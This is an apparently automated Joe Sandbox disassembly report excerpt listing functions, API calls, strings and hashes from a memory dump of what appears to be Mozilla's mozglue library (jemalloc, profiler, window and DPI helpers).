MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6337A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6337D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C633559, 6C63382D, 6C633848

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 508a9dc7c9770e84e140e83756d3e05c7fda16a06dccc5c099aad099ae23d15d
Instruction ID: fce543255b21c3b852b39cceda72e2218bea27387fb3202f4a176df48b37cbfa
Opcode Fuzzy Hash: 508a9dc7c9770e84e140e83756d3e05c7fda16a06dccc5c099aad099ae23d15d
Instruction Fuzzy Hash: 4B53AD71A057218FD304CF29C580616FBE1BF89328F29E66DE86D9B791D731E842CB85

Function 6C6555F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C62E1A5), ref: 6C655606
LoadLibraryW.KERNEL32(gdi32,?,6C62E1A5), ref: 6C65560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C655633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C65563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C65566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C65567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C655696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6556B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6556CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6556E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6556FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C655716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C65572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C655748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C655761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C65577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C655793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6557A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6557BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6557D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6557EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6557FF

Strings

GetDpiForWindow, xrefs: 6C655690
DeleteObject, xrefs: 6C6557F9
MonitorFromWindow, xrefs: 6C65578D
RegisterClassW, xrefs: 6C6556AC
GetWindowDC, xrefs: 6C655710
SetWindowLongPtrW, xrefs: 6C6557B7
user32, xrefs: 6C655601
ShowWindow, xrefs: 6C6556DE
SetWindowPos, xrefs: 6C6556F7
EnableNonClientDpiScaling, xrefs: 6C655666
gdi32, xrefs: 6C65560A
GetThreadDpiAwarenessContext, xrefs: 6C65562D
GetSystemMetricsForDpi, xrefs: 6C655677
LoadCursorW, xrefs: 6C655774
AreDpiAwarenessContextsEqual, xrefs: 6C655637
CreateWindowExW, xrefs: 6C6556C5
GetMonitorInfoW, xrefs: 6C6557A2
StretchDIBits, xrefs: 6C6557CC
FillRect, xrefs: 6C655729
ReleaseDC, xrefs: 6C655742
LoadIconW, xrefs: 6C65575B
CreateSolidBrush, xrefs: 6C6557E4

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: fdbd16f0e49f1e905e7bf91ce18ff72271f5fa8cffed24cb853312886872316b
Instruction ID: 7bc4ceaed1d54b8a9bdd1c7095f371c1c24cf32898b7504a3ca51bfc9ee59009
Opcode Fuzzy Hash: fdbd16f0e49f1e905e7bf91ce18ff72271f5fa8cffed24cb853312886872316b
Instruction Fuzzy Hash: 8B513A706117329BEB069F378D98D263AF86B46349F604C25E921E2B51EF70C8118F7D

Function 6C6534A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6535BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6535E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6536CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6538BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6539EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653EE2

Part of subcall function 6C656180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6561DD
Part of subcall function 6C656180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C65622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6540F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C654157

Part of subcall function 6C656180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C656250
Part of subcall function 6C656180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C656292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C654448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C65484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C654863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C654878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C654896
free.MOZGLUE ref: 6C65489F

Strings

, xrefs: 6C654CD2

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 6c639a0490917ded9bf982591b1b149bbc841dd2555e78d2a3bcc3234d35c231
Instruction ID: 7a97abd95812d8cdb2727d5709fe682ba58106af7edd815b1132497a8b9a8ace
Opcode Fuzzy Hash: 6c639a0490917ded9bf982591b1b149bbc841dd2555e78d2a3bcc3234d35c231
Instruction Fuzzy Hash: A5F25E74508B808FC725CF29C0846AAFBF1FFCA304F618A5ED98997711DB719896CB46

Function 6C63F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C63F09B

Part of subcall function 6C615B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6156EE,?,00000001), ref: 6C615B85
Part of subcall function 6C615B50: EnterCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615B90
Part of subcall function 6C615B50: LeaveCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615BD8
Part of subcall function 6C615B50: GetTickCount64.KERNEL32 ref: 6C615BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C63F0AC

Part of subcall function 6C615C50: GetTickCount64.KERNEL32 ref: 6C615D40
Part of subcall function 6C615C50: EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C63F0BE

Part of subcall function 6C615C50: __aulldiv.LIBCMT ref: 6C615DB4
Part of subcall function 6C615C50: LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C615DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C63F155
GetCurrentThreadId.KERNEL32 ref: 6C63F1E0
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F1ED
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F212
GetCurrentThreadId.KERNEL32 ref: 6C63F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F248
GetCurrentThreadId.KERNEL32 ref: 6C63F2AE
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F2BB
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F2F8

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F350
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F35D
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F381
GetCurrentThreadId.KERNEL32 ref: 6C63F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F3A0
GetCurrentThreadId.KERNEL32 ref: 6C63F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F491

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F3CF

Part of subcall function 6C63F070: GetCurrentThreadId.KERNEL32 ref: 6C63F440
Part of subcall function 6C63F070: AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F44D
Part of subcall function 6C63F070: ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F4A8
GetCurrentThreadId.KERNEL32 ref: 6C63F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F561
GetCurrentThreadId.KERNEL32 ref: 6C63F577
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F585
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C63F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C63F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C63F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C63F56A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: b67e66be6b0e89d9c014ea12fd0da326510e1ce337ed68d93a7b5d1d26df0449
Instruction ID: 58ef446d6757aa8b714acac08c5437bb3cdf0a1c46bd513cdc5e7c7d801fb08c
Opcode Fuzzy Hash: b67e66be6b0e89d9c014ea12fd0da326510e1ce337ed68d93a7b5d1d26df0449
Instruction Fuzzy Hash: BCD11731604220DFDB159F6AD484BA977F4EF87368F141D69E95983B82CB7048188BBF

Function 6C6064C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6064DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6064F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C606505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C606518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C60652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C60671C
GetCurrentProcess.KERNEL32 ref: 6C606724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C60672F
GetCurrentProcess.KERNEL32 ref: 6C606759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C606764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C606A80
GetSystemInfo.KERNEL32(?), ref: 6C606ABE
__Init_thread_footer.LIBCMT ref: 6C606AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606AF7

Strings

user32.dll, xrefs: 6C606526
_etoured.dll, xrefs: 6C6064ED
detoured.dll, xrefs: 6C6064DA
nvd3d9wrap.dll, xrefs: 6C606500
nvdxgiwrap.dll, xrefs: 6C606513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C606798

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: bc6774e0d32f14454aa1256b20ac424321f8774a0083a749a894ffa254abf7ba
Instruction ID: 87491dba0512ad09f0b23b633ef008bacd902d6723e85ee1804bb6bfe8afda72
Opcode Fuzzy Hash: bc6774e0d32f14454aa1256b20ac424321f8774a0083a749a894ffa254abf7ba
Instruction Fuzzy Hash: 42F10770A056299FDB24DF25CE887DAB7B4AF46318F044198DC09A3640E731EAC5CFA9

Function 6C61D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C61D904
LeaveCriticalSection.KERNEL32(?), ref: 6C61D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C61D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C61E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61E315
AcquireSRWLockExclusive.KERNEL32(6C67E804), ref: 6C61E37C
GetSystemInfo.KERNEL32(?), ref: 6C61E3C7
__Init_thread_footer.LIBCMT ref: 6C61E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C67E810,00000040), ref: 6C61E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7B8,00001388), ref: 6C61E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E744,00001388), ref: 6C61E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E784,00001388), ref: 6C61E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7DC,00001388), ref: 6C61E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E768,00001388), ref: 6C61E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C61E52E
ReleaseSRWLockExclusive.KERNEL32(6C67E804), ref: 6C61E54F

Part of subcall function 6C60D960: EnterCriticalSection.KERNEL32(?), ref: 6C60D999
Part of subcall function 6C60D960: EnterCriticalSection.KERNEL32(6C67E7B8), ref: 6C60DA13

Strings

MOZ_CRASH(), xrefs: 6C61E62B
: (malloc) Unsupported character in malloc options: ', xrefs: 6C61E6DD
Compile-time page size does not divide the runtime one., xrefs: 6C61E621
<jemalloc>, xrefs: 6C61E61C, 6C61E6CC
MALLOC_OPTIONS, xrefs: 6C61E3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C61E560, 6C61E58A, 6C61E5A5

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fa481a6a8229c1e7b46a5bdbf44ac83bcc64af3670f6198e73edfd791422a904
Instruction ID: 56104dfc4ea209c8ff07cd2b945482c37e7b32424165bf41e467b39394cf190f
Opcode Fuzzy Hash: fa481a6a8229c1e7b46a5bdbf44ac83bcc64af3670f6198e73edfd791422a904
Instruction Fuzzy Hash: EB92EE71A096118FD709CF2DC484755BBE1BF86329F19CA6DE8698BB91D331E841CBC8

Function 6C65C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C65C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C65C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C65C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C65CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C65DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C65DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C65DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C65E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C65E472

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 70c1fa1f327032f70af44735b2074df8f6e7b065a6db3d30d5881a8ac5e5f63d
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8C33CE71E0021ACFCB04CFA8C8806EDBBF2FF49304F688269D955AB795D731A955CB94

Function 6C61ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C61EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C61EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C621695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6216B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C621770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C621A3E

Strings

~q_l, xrefs: 6C61ED13
~q_l, xrefs: 6C61ED10

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q_l$~q_l
API String ID: 3693777188-2274163580
Opcode ID: 1b3168a3dfb5a0805d51b8896217f33ed8638c762e42a502925bed82ebf07194
Instruction ID: 75351e9967dd3d8bea4a5cbbb46ad0b543c686f7da169684c73e6339c1ee3688
Opcode Fuzzy Hash: 1b3168a3dfb5a0805d51b8896217f33ed8638c762e42a502925bed82ebf07194
Instruction Fuzzy Hash: D3B31871E04219CFCB24CFA8C890ADDB7B2BF49304F2582A9D449AB745D735AD86CF94

Function 6C60FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7B8), ref: 6C60FF81
LeaveCriticalSection.KERNEL32(6C67E7B8), ref: 6C61022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C610240
EnterCriticalSection.KERNEL32(6C67E768), ref: 6C61025B
LeaveCriticalSection.KERNEL32(6C67E768), ref: 6C61027B

Strings

<jemalloc>, xrefs: 6C610D62, 6C610D76, 6C610DA7
: (malloc) Error in VirtualFree(), xrefs: 6C610D67, 6C610D7B, 6C610DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C60FE99, 6C60FEB7, 6C60FED3, 6C610DB8, 6C610DD3, 6C6119B4

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: d4154d63c9c7c7b6a15692cabdade44980e18164e0d4d5db6fd7822397a0396b
Instruction ID: ea323ee8236df2fd92b6e14a865506a7a68230a9a39530bdc247cae73f4d555b
Opcode Fuzzy Hash: d4154d63c9c7c7b6a15692cabdade44980e18164e0d4d5db6fd7822397a0396b
